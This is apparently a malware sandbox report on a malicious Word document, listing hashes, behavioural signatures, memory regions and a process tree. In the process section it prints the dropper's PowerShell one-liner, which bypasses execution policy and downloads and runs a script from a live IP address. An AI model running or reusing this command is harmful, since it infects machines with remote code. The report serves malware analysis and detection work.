Analysis

  • max time kernel
    46s
  • max time network
    41s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-05-2024 03:43

General

  • Target

    6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc

  • Size

    35KB

  • MD5

    24452bcd3b0021f3a428dc32b62a1b0f

  • SHA1

    28cec296fa3a3ba5074cfa070e710efc3ed48473

  • SHA256

    6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d

  • SHA512

    a0cfcf79b046377bee8770b83cf2f8264b30bb900a4873e7d9f9c1464cacca3bc9e869ea92da0224ff99a4bf26342559b99fa37b4f60e6e29cbcf92b44deac44

  • SSDEEP

    384:qlE8iSwvxjk+t7DRF8Q8IQ7lbEZ0j9Tth6+G6:qlqxw+tD8DIolE8r6+G6

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://87.247.142.15:8081/Tube-rs.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3484
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://87.247.142.15:8081/Tube-rs.txt'))
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5012

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD835E.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_to0hqod0.5nx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3484-6-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-536-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-4-0x00007FFE951ED000-0x00007FFE951EE000-memory.dmp

    Filesize

    4KB

  • memory/3484-5-0x00007FFE551D0000-0x00007FFE551E0000-memory.dmp

    Filesize

    64KB

  • memory/3484-7-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-3-0x00007FFE551D0000-0x00007FFE551E0000-memory.dmp

    Filesize

    64KB

  • memory/3484-9-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-8-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-10-0x00007FFE52C40000-0x00007FFE52C50000-memory.dmp

    Filesize

    64KB

  • memory/3484-11-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-13-0x00007FFE52C40000-0x00007FFE52C50000-memory.dmp

    Filesize

    64KB

  • memory/3484-14-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-538-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-0-0x00007FFE551D0000-0x00007FFE551E0000-memory.dmp

    Filesize

    64KB

  • memory/3484-15-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-12-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-36-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-37-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-17-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-1-0x00007FFE551D0000-0x00007FFE551E0000-memory.dmp

    Filesize

    64KB

  • memory/3484-537-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-16-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-2-0x00007FFE551D0000-0x00007FFE551E0000-memory.dmp

    Filesize

    64KB

  • memory/3484-534-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/3484-535-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/5012-54-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB

  • memory/5012-44-0x000001A9A1950000-0x000001A9A1972000-memory.dmp

    Filesize

    136KB

  • memory/5012-38-0x00007FFE95150000-0x00007FFE95345000-memory.dmp

    Filesize

    2.0MB